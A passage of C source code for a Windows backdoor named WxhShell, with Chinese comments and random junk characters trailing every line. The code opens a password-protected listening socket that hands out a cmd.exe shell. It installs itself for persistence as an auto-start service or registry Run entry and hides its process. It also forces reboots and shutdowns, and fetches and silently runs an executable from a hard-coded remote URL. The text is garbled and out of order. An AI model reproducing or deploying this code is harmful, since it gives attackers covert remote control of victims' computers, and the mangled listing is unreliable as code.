    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLyRb0V  
    else { Q#\Nhc  
    closesocket(wsh); a_RY Yj  
    ExitThread(0); I8Aq8XBw  
    } /W/e%.  
    break; <0})%V?-  
    } ; ~pgF_  
  // 获取shell e9o\qEm   
  case 's': { /eI|m9ke  
    CmdShell(wsh);  r{;NGQYs  
    closesocket(wsh); w\)K0RN  
    ExitThread(0); 5Ew( 0K[  
    break; /we]i1-9  
  } Yi9Y`~J  
  // 退出 n.l#(`($4  
  case 'x': { Uh.swBC n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qb {[xmc  
    CloseIt(wsh); G8}owszT  
    break; - +a,Ej  
    } aVR!~hvFs  
  // 离开 ;MQl.?vj  
  case 'q': { N:B<5l '  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :}NheRi  
    closesocket(wsh); X!|eRA~o  
    WSACleanup(); 8=D,`wog  
    exit(1); F > rr.  
    break; ~7b#B XzP  
        } NnAIL;WS  
  } \:@6(e Bh  
  } qlM<X?  
o}=*E  
  // 提示信息 P].Eb7I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >~ *wPoW  
} ,|*Gr"Q=  
  } "EpH02{i  
u.A}&'H  
  return; 4V9BmVS|Th  
} mx)!]B"  
Ys.GBSlHG  
// shell模块句柄 29=ob("  
int CmdShell(SOCKET sock) >K'dgJ245  
{ w7` pbcY,  
STARTUPINFO si; N4 x5!00  
ZeroMemory(&si,sizeof(si)); zHKP$k8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )&E]   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i=/hLE8T*  
PROCESS_INFORMATION ProcessInfo; ^W sgAyCB  
char cmdline[]="cmd"; %KVmpWku  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8d$|JN;)  
  return 0; Jt}`oFQ5l  
} 8Dl(zYK;  
Y*#xo7#B  
// 自身启动模式 z 8M\(<  
int StartFromService(void) rV\G/)xL  
{ Pek[j)g}  
typedef struct [ PN2^  
{ --diG$x.  
  DWORD ExitStatus; onmpMU7w  
  DWORD PebBaseAddress; 7:g_:}m  
  DWORD AffinityMask; +@uA  
  DWORD BasePriority; y =sae  
  ULONG UniqueProcessId; #)n$Q^9&  
  ULONG InheritedFromUniqueProcessId; ea O'|@;{~  
}   PROCESS_BASIC_INFORMATION; 1?w=v|b:P)  
6Br^Ugy  
PROCNTQSIP NtQueryInformationProcess; pq]z%\$u  
<o9i;[+H-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KaMg [ G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4r83;3WXs  
\^0>h`[  
  HANDLE             hProcess; ]@21KO  
  PROCESS_BASIC_INFORMATION pbi; =}tomN(F~[  
|%5pzYe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;o)'dK  
  if(NULL == hInst ) return 0; ZD]{HxGL!  
NRG06M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ohgu*5!o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e}-fGtFx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @"h4S*U  
~$>JYJj  
  if (!NtQueryInformationProcess) return 0; t$,G%micj  
m+8:_0x "  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c2Z !Vtd  
  if(!hProcess) return 0; I9L3Y@(f6m  
W4av?H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b3_P??yp  
PX?%}~ v  
  CloseHandle(hProcess); '\d ldg#P  
._>03,"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {S+?n[1r\  
if(hProcess==NULL) return 0; 4~A$u^scn  
jmgkY)rb R  
HMODULE hMod; XPf{R619  
char procName[255]; 'hWA&Xx +  
unsigned long cbNeeded; ceJ#>Rj  
_#v"sGmN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b{-"GqMO  
At[Q0'jkc  
  CloseHandle(hProcess); #?r|6<4X  
PfU\.[l$  
if(strstr(procName,"services")) return 1; // 以服务启动 :qqG%RB  
fsK=]~<g  
  return 0; // 注册表启动 Xu~N97\G  
} ,<K+.7,)E  
T<>B5G~%  
// 主模块 ?(R#  
int StartWxhshell(LPSTR lpCmdLine) a;KdkykG  
{ + \%]<YO  
  SOCKET wsl; 3f^jy(  
BOOL val=TRUE; 9 4H')(  
  int port=0; glo G_*W  
  struct sockaddr_in door; B%u[gNZ  
A p?,y?  
  if(wscfg.ws_autoins) Install(); _IOUhMo  
Opf)TAl{  
port=atoi(lpCmdLine); >G"fMOOkW  
5tkKd4VfL  
if(port<=0) port=wscfg.ws_port; 6~ y'  
R0#scr   
  WSADATA data; Ebj0 {ZL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]D5Maid+  
q$yg^:]2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TlyBpG=p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v4E=)?  
  door.sin_family = AF_INET; cs\=8_5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z R=[@Oi  
  door.sin_port = htons(port); UMNNAX  
eLh35tw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kR^">s/H#  
closesocket(wsl); MIkp4A  
return 1; .eVX/6,  
} `$JZJ!,A  
k0PwAt)65  
  if(listen(wsl,2) == INVALID_SOCKET) { "v wLj:  
closesocket(wsl); $ e L-fg  
return 1; 1TA!9cz0Z  
} >{~xO 6H  
  Wxhshell(wsl); WdS1v%  
  WSACleanup(); wTR?8$  
I*o6Bn |D  
return 0; H'k~;  
Jpp-3i.F#  
} '>1M~B  
Z)~?foe'  
// 以NT服务方式启动 OOIp)=4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Js_d  
{ .WN&]yr,  
DWORD   status = 0; |zfFB7}v  
  DWORD   specificError = 0xfffffff; (Dv GA I  
NRG~ya >  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?xMTO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !.V_?aYi8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O"TVxP:  
  serviceStatus.dwWin32ExitCode     = 0; 2<n 18-|OQ  
  serviceStatus.dwServiceSpecificExitCode = 0; OPq|4xu  
  serviceStatus.dwCheckPoint       = 0; ,-EN{ed  
  serviceStatus.dwWaitHint       = 0; Z|UVH  
*wmkcifF;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nIBeZof  
  if (hServiceStatusHandle==0) return; k:~UBs\)(  
/o6ido  
status = GetLastError(); E>*b,^J7g  
  if (status!=NO_ERROR) n2AoEbd  
{ [X@{xF^vBQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; af6<w.i  
    serviceStatus.dwCheckPoint       = 0; CiHx.5TiC  
    serviceStatus.dwWaitHint       = 0; #WG;p(?:  
    serviceStatus.dwWin32ExitCode     = status; 3K~^H1l  
    serviceStatus.dwServiceSpecificExitCode = specificError; "N &ix*($  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cC$YD]XdIA  
    return; 8R\6hYJ%F  
  } x%@M*4:&  
GadY#]}(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V#b*:E.cA  
  serviceStatus.dwCheckPoint       = 0; <x;g9Z>(  
  serviceStatus.dwWaitHint       = 0; jM6$R1HX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F+R1}5-3cl  
} B&59c*K  
Z \ @9*  
// 处理NT服务事件,比如:启动、停止 zSsBbu:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LR#.xFQ+  
{ =M@)q y  
switch(fdwControl) im:[ViR {  
{ 9%ct   
case SERVICE_CONTROL_STOP: m^ar:mK@  
  serviceStatus.dwWin32ExitCode = 0; Xu_1r8-|=b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]!P6Z?  
  serviceStatus.dwCheckPoint   = 0; tZ@&di:-F  
  serviceStatus.dwWaitHint     = 0; hTby:$aCg  
  { J'=s25OWU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c; .y  
  } \?e2qu/ C  
  return; 3bC-B!{;g  
case SERVICE_CONTROL_PAUSE: d@JavcR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j;j~R3B  
  break; fWfhs}_  
case SERVICE_CONTROL_CONTINUE: k8}'@w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $`0^E#Nl  
  break; FChW`b&S  
case SERVICE_CONTROL_INTERROGATE: xk8NX-:  
  break; G5 )"%G.  
}; c??m9=OX1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jq>5:"jZ0  
} p'@z}T?F  
:nnch?J_  
// 标准应用程序主函数 ZZ!6O/M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \KpJIHkBRy  
{ <$uDN].T4  
si]MQ\i+  
// 获取操作系统版本 Oa@SyroF=  
OsIsNt=GetOsVer(); mpDxJk!   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8?EKF+.u|  
Te)%L*X  
  // 从命令行安装 066\zAPdH  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9 s2z=^  
FRPdfo37  
  // 下载执行文件 TDP Q+Kg_  
if(wscfg.ws_downexe) { G6Wa0Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8BS Nm  
  WinExec(wscfg.ws_filenam,SW_HIDE); w[QC  
} +['1~5  
T|YMU?4  
if(!OsIsNt) { ^eRbp?H*T  
// 如果时win9x,隐藏进程并且设置为注册表启动 [["eK9 }0  
HideProc(); ]4*E:  
StartWxhshell(lpCmdLine); e *D,2>o  
} \Z~@/OVc  
else #f=41d%  
  if(StartFromService()) 0!:%Ge_  
  // 以服务方式启动 ~^ '+ .  
  StartServiceCtrlDispatcher(DispatchTable); 5V0#_!QAN  
else ` -f\6r|:)  
  // 普通方式启动 @WKJ7pt`'N  
  StartWxhshell(lpCmdLine); !,7)ZW?*8  
r:U<cL T[9  
return 0; mv*M2NuhT  
} Ve"M8-{oKk  
=7~;*Ts  
#.}&6ZP  
*a(GG  
=========================================== [Q8vS;.  
<1~_nt~(*  
/W}"/W9  
K7qR  
6k37RpgH  
*'n=LB8R  
" {ueDwnZ  
rXGaav9  
#include <stdio.h> w);Bet  
#include <string.h> VF<VyWFC0`  
#include <windows.h> FPE6H:'  
#include <winsock2.h> #xq|/JWs  
#include <winsvc.h> ?%Pi#%P  
#include <urlmon.h> vhU $GG8  
Q?Xqf7y  
#pragma comment (lib, "Ws2_32.lib") 56Lt "Z F  
#pragma comment (lib, "urlmon.lib") a63Ud<_a7  
01%0u8U  
#define MAX_USER   100 // 最大客户端连接数 gHWsKE  %  
#define BUF_SOCK   200 // sock buffer mI;\ UOh'  
#define KEY_BUFF   255 // 输入 buffer NeewV=[%  
H,!yG5yF  
#define REBOOT     0   // 重启 K1- 3!G  
#define SHUTDOWN   1   // 关机 sa"!ckh  
~Bt >Y  
#define DEF_PORT   5000 // 监听端口 )o::~ eu  
u@4khN: ^p  
#define REG_LEN     16   // 注册表键长度 vcOw`oS  
#define SVC_LEN     80   // NT服务名长度 /5f=a  
cdL0<J b,  
// 从dll定义API |Yi_|']#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &c= 3BEh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "t>H B6^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +5Y;JL<%/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >+[{m<Eq  
ge{%B~x  
// wxhshell配置信息 /XuOv(j  
struct WSCFG { z Hl+P*)  
  int ws_port;         // 监听端口 wFL7JwK:G  
  char ws_passstr[REG_LEN]; // 口令 %L  nG^L  
  int ws_autoins;       // 安装标记, 1=yes 0=no kxY9[#:<fB  
  char ws_regname[REG_LEN]; // 注册表键名 ;l@Ge`&u  
  char ws_svcname[REG_LEN]; // 服务名 <+<,$jGC-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v +?'/Q%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GRgpy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 17ynFHMd,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J>0RN/38o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OK:YnSk"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G/_8xmsU  
]rO/IuB  
}; VQ2B|v  
o~'UWU'#  
// default Wxhshell configuration ~2XiKY;W?  
struct WSCFG wscfg={DEF_PORT, h7}P5z0F  
    "xuhuanlingzhe", X/S%0AwZ  
    1, mGUG  
    "Wxhshell", cN: ek|r  
    "Wxhshell", ^QTkre  
            "WxhShell Service", zgSv -h+f  
    "Wrsky Windows CmdShell Service", `S]DHxS  
    "Please Input Your Password: ", B!1L W4^  
  1, ","to  
  "http://www.wrsky.com/wxhshell.exe", DPlmrN9@=  
  "Wxhshell.exe" _&$nJu  
    }; +Jq~39  
~H626vT37  
// 消息定义模块 'R n\CMTH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "A}2iI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \.`{nq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O6\t_.  
char *msg_ws_ext="\n\rExit."; 1F[W~@jW  
char *msg_ws_end="\n\rQuit."; q{Gf@  
char *msg_ws_boot="\n\rReboot..."; k NUNh[  
char *msg_ws_poff="\n\rShutdown..."; xcXnd"YYE  
char *msg_ws_down="\n\rSave to "; a +`;:tX,  
jbu+>  
char *msg_ws_err="\n\rErr!"; n'<F'1SWv  
char *msg_ws_ok="\n\rOK!"; T:w%RF[v9  
{&)E$ M  
char ExeFile[MAX_PATH]; RV6|sN[x>  
int nUser = 0; 2NWQiSz  
HANDLE handles[MAX_USER]; !u%XvxJwDb  
int OsIsNt; NYF 7Ep; _  
E"t79dD  
SERVICE_STATUS       serviceStatus; >L88`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0d #jiG  
}Ld eU:E4  
// 函数声明 Vg1MA  
int Install(void); Znh) m  
int Uninstall(void); jRSY`MU}t+  
int DownloadFile(char *sURL, SOCKET wsh); h Ap(1h#m  
int Boot(int flag); r[kmgPld  
void HideProc(void); Hu7WU;w  
int GetOsVer(void); "I^pb.3  
int Wxhshell(SOCKET wsl); [!>DQE  
void TalkWithClient(void *cs); C3e0d~C  
int CmdShell(SOCKET sock); :LX (9f   
int StartFromService(void); S1d{! ` 3  
int StartWxhshell(LPSTR lpCmdLine); `EzC'e  
HmVpxD+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Uunlz<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U:O&FE  
2vX!j!_  
// 数据结构和表定义 kZHIzU  
SERVICE_TABLE_ENTRY DispatchTable[] = @hIHvLpRB  
{ 35fsr=  
{wscfg.ws_svcname, NTServiceMain}, 5jK9cF$>  
{NULL, NULL} GF^ ?#Jh  
}; XiN@$  
Q%^!j_#  
// 自我安装 aj@<4A=;  
int Install(void) PitDk 1T  
{ }Jk=ZBVjT7  
  char svExeFile[MAX_PATH]; w2o5+G=  
  HKEY key; s N|7   
  strcpy(svExeFile,ExeFile); szU_,.\  
W)m\q}]FYz  
// 如果是win9x系统,修改注册表设为自启动 k5]`:k6  
if(!OsIsNt) { B>,&{ah/5J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {{ /-v3n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jx4"~ 4  
  RegCloseKey(key); c:sk1I,d~^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?9m@ S#@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,)7y? *D}  
  RegCloseKey(key); )6 [d'2  
  return 0; ^%~ux0%^T  
    } $g!~T!p=  
  } xO2CgqEb  
} "qvJ-Y  
else { S 0L"5B@  
kMY1Xb  
// 如果是NT以上系统,安装为系统服务 ]J>{ZL   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]9/{  
if (schSCManager!=0) mnS F=l;;  
{ ;Vh5nO  
  SC_HANDLE schService = CreateService 55]E<2't  
  ( P gK> Z,  
  schSCManager, (n3MbVi3LU  
  wscfg.ws_svcname, RYem(%jq  
  wscfg.ws_svcdisp, Z/w "zCd  
  SERVICE_ALL_ACCESS, x;p7n 2_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -P7JaH/Q  
  SERVICE_AUTO_START, [Uw/;Kyh  
  SERVICE_ERROR_NORMAL, hj|P*yKV  
  svExeFile, sJ q^>"|J  
  NULL, U|}Bk/0.  
  NULL, JVk"M=c  
  NULL, -cW 'g  
  NULL, =`%"-A  
  NULL [W{WfJ-HwG  
  ); q]>m#yk   
  if (schService!=0)  (:ObxJ*  
  { "J(W)\  
  CloseServiceHandle(schService); UOAL7  
  CloseServiceHandle(schSCManager); pz]#/Ry?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BmGY#D,  
  strcat(svExeFile,wscfg.ws_svcname); P]b * hC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8*t8F\U#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FqpUw<]6s  
  RegCloseKey(key); ^wm>\o;  
  return 0; fKN&0N |^R  
    } :^oF0,-qZ  
  } KoL3CA"N  
  CloseServiceHandle(schSCManager); gV-x1s+  
} FqT2+VO~  
} 2 N$yn  
Zn]njf1x  
return 1; fF*{\  
} 5$w`m3>i(  
leSR2os  
// 自我卸载 {D9m>B3"{  
int Uninstall(void) C/L+gU&  
{ 7xr@$-U  
  HKEY key; w;Jby  
;)nV  
if(!OsIsNt) { fXJbC+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [TFd|ywn  
  RegDeleteValue(key,wscfg.ws_regname); 7(oX 1hN  
  RegCloseKey(key); vOKWi:-U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ug1n4X3FKn  
  RegDeleteValue(key,wscfg.ws_regname); lE@ V>%b  
  RegCloseKey(key); d}`Z| ex  
  return 0; {j{H@rHuy  
  } a.O pxd  
} p^uX{!  
} !uwZ%Ux z  
else { jR[3{ Reo  
:s5wFumD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tUPdq0%t[  
if (schSCManager!=0) >|S&@<  
{ (+^z9p7/!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C%l+<wpXO  
  if (schService!=0) S[zX@3eZV  
  { wmQT$`$b  
  if(DeleteService(schService)!=0) { ~7}aW#  
  CloseServiceHandle(schService); wxx3']:  
  CloseServiceHandle(schSCManager); _'"whZ)2  
  return 0; +4Uxq{.K  
  } l9"T"9C{  
  CloseServiceHandle(schService); XzBnj7E  
  } ,4&?`Q  
  CloseServiceHandle(schSCManager); >m-VBo  
} {hmC=j  
} (ndTEnpp  
L~u@n24  
return 1; #rkz:ir4  
} ".Q``d&X  
w#!^wN  
// 从指定url下载文件 D; bHX  
int DownloadFile(char *sURL, SOCKET wsh) (v'#~)R_`  
{ F^/1 u  
  HRESULT hr; 25zmde~ w  
char seps[]= "/"; e M$NVpS3  
char *token; #!i&  
char *file; +nj 2  
char myURL[MAX_PATH]; OdrnPo{  
char myFILE[MAX_PATH]; ?{Rv/np=F  
N#Y|MfLc  
strcpy(myURL,sURL); `3CdW  
  token=strtok(myURL,seps); [7btoo|P]  
  while(token!=NULL) OrJuE[R.  
  { >Yf)]e-  
    file=token; G'M;]R9EP  
  token=strtok(NULL,seps); (5Z*m<]c  
  } ~7$4w# of0  
_,?<r&>v6  
GetCurrentDirectory(MAX_PATH,myFILE); KT>eE  
strcat(myFILE, "\\"); oN\IQ7oI  
strcat(myFILE, file); BsJ d*-:X  
  send(wsh,myFILE,strlen(myFILE),0); ,@#))2<RK  
send(wsh,"...",3,0); DNGXp5I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qz@k-Jqq d  
  if(hr==S_OK) |*T3TsP u  
return 0; ~g|Z6-?4Jj  
else B,_/'DneQK  
return 1; !)1gGXRY  
M:9 6QM~  
} {%"n[DLps  
$q iY)RE  
// 系统电源模块 Q/[g|"  
int Boot(int flag) R'udC}  
{ ?m(]@6qa  
  HANDLE hToken; s6k@WT?"^  
  TOKEN_PRIVILEGES tkp; a At<36{?  
)#H&lH  
  if(OsIsNt) { L^{1dVGWNa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6Kbc:wlR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E<~Fi .M;\  
    tkp.PrivilegeCount = 1; X^td`}F/=V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; djk?;^8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jx jP'8  
if(flag==REBOOT) { +~x'1*A_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %lbDcEsf9  
  return 0; Oe/&Ryj=mm  
} g"dq;H  
else { hp$/O4fD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %wDE+&M  
  return 0; >STAPrBp+  
} zarxv| }$  
  } JoCZ{MhM  
  else { KmYSYNr@,  
if(flag==REBOOT) { v/m} {&K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )9]DJ!]&Q"  
  return 0; .S{FEV  
} QCD MRh n  
else { J_|LG rt})  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F+m%PVW:  
  return 0; n`Y"b&  
} 0|J]EsPxu  
} "?X,);5S  
:]rb}1nLB  
return 1; `k.Tfdu)K  
}  mdtG W  
%tvP\(]h  
// win9x进程隐藏模块 n ZbINhls  
void HideProc(void) W0 n?S "  
{ "PD^]m  
C$+z1z.!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Km)VOX[ZZ  
  if ( hKernel != NULL )   L* 0$x  
  { a7fFp 9l!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @,:6wKMc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sc0.!6^'V  
    FreeLibrary(hKernel); =.48^$LWx  
  } \x7^ly$_  
h]>QGX[kC  
return; vmj'X>Q  
} #aua6V!"  
TlEd#XQgf&  
// 获取操作系统版本 B4Fuvi  
int GetOsVer(void) _t/~C*=:=  
{ !0Mx Bem  
  OSVERSIONINFO winfo;  CK"OHjR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @"G+kLv0  
  GetVersionEx(&winfo); &Yklf?EZ>Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) chE}TK  
  return 1; L[cP2X]NQ  
  else N;q)r  
  return 0; E Xxv  
} )vsX (/WU  
qI%X/'  
// 客户端句柄模块 A`:a T{j  
int Wxhshell(SOCKET wsl) =G9I7Y@  
{ S0' ACt`  
  SOCKET wsh; X=KC +1e  
  struct sockaddr_in client; PWBcK_4i%  
  DWORD myID; KDS} "/  
N`HiNb [  
  while(nUser<MAX_USER) [0n[\& 0  
{ jcbq#  
  int nSize=sizeof(client); x:6c@2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5~[m]   
  if(wsh==INVALID_SOCKET) return 1; Fy$f`w_H@  
2 oo/KndU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9Wv}g"KY0  
if(handles[nUser]==0) (2Z k fN  
  closesocket(wsh); [Qqomm.[\w  
else 6E-AfY'<  
  nUser++; -.OZ  
  } 3c=>;g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6]sP"  
WS ^,@>A  
  return 0; (6*  
} yu>o7ie+;Y  
!$hi:3{U ,  
// 关闭 socket NZ"nG<;5  
void CloseIt(SOCKET wsh) r])V6 ^U  
{ 82M` sk3.  
closesocket(wsh); U0;pl2  
nUser--; VTa%  
ExitThread(0); cN-$;Ent  
} jVPX]8  
S J2l6  
// 客户端请求句柄 al"=ld(  
void TalkWithClient(void *cs) f~10 i D  
{ [jv+Of IZ  
kMx)G]  
  SOCKET wsh=(SOCKET)cs; ek"U q RY  
  char pwd[SVC_LEN]; zP&D  
  char cmd[KEY_BUFF]; tv_&PIu]L  
char chr[1]; bXi!_'z$  
int i,j; P~M[i9 V  
1,(WS F  
  while (nUser < MAX_USER) { +#Wwah$  
[w90gp1O[  
if(wscfg.ws_passstr) { W\2 ']7}e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7$*X   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TwsI8X  
  //ZeroMemory(pwd,KEY_BUFF); y_' 6bpb  
      i=0; \10KIAQ  
  while(i<SVC_LEN) { Z(XohWe2  
3 "iBcsLn  
  // 设置超时 "AP$)xM-:  
  fd_set FdRead; .I?~R:(Ig  
  struct timeval TimeOut; CTS1."kx1  
  FD_ZERO(&FdRead); q B IekQT  
  FD_SET(wsh,&FdRead); \n`/?\r.z  
  TimeOut.tv_sec=8; PthgxB^  
  TimeOut.tv_usec=0; 4.p:$/GTS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +e, c'.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l,*5*1lM  
Wu"1M^a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g4u 6#.m(  
  pwd=chr[0]; pMJm@f  
  if(chr[0]==0xd || chr[0]==0xa) { J5(^VKj  
  pwd=0; {- &`@V  
  break; S=gb y  
  } O0FUJGuTS  
  i++; L~%7=]m  
    } pC]XbokES  
%Z p|1J'"  
  // 如果是非法用户,关闭 socket \Si p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?qb35  
} inFS99DKx  
~yt7L,OQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `^] D;RfE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @C<ofg3E  
&)jq3  
while(1) { \1SC:gN*#  
i),bAU!+m  
  ZeroMemory(cmd,KEY_BUFF); 'J$@~P  
9GRQ^E  
      // 自动支持客户端 telnet标准   eyuyaSE  
  j=0; wBvVY3VQ^  
  while(j<KEY_BUFF) { =P%&]5ts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Q6RTH  
  cmd[j]=chr[0]; `U=Jbdc l3  
  if(chr[0]==0xa || chr[0]==0xd) { $H)Q UFyC  
  cmd[j]=0; t.dr<  
  break; |dz"uIrT  
  } b50mMW tG  
  j++; xKl1DIN[  
    } x0b=r!Duu  
zO---}[9a  
  // 下载文件 h5rR44  
  if(strstr(cmd,"http://")) { ?% [~J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r ^\(M {  
  if(DownloadFile(cmd,wsh)) "X^<g{]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fZj,Q#}D  
  else S43JaSw)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *:Rs\QH   
  } $4^SWT.  
  else { S@Rd>4  
0QT:@v2R  
    switch(cmd[0]) { Fuzb4Df  
  \+#EO%sN1%  
  // 帮助 y|)VNnWM  
  case '?': { .$H"j>  
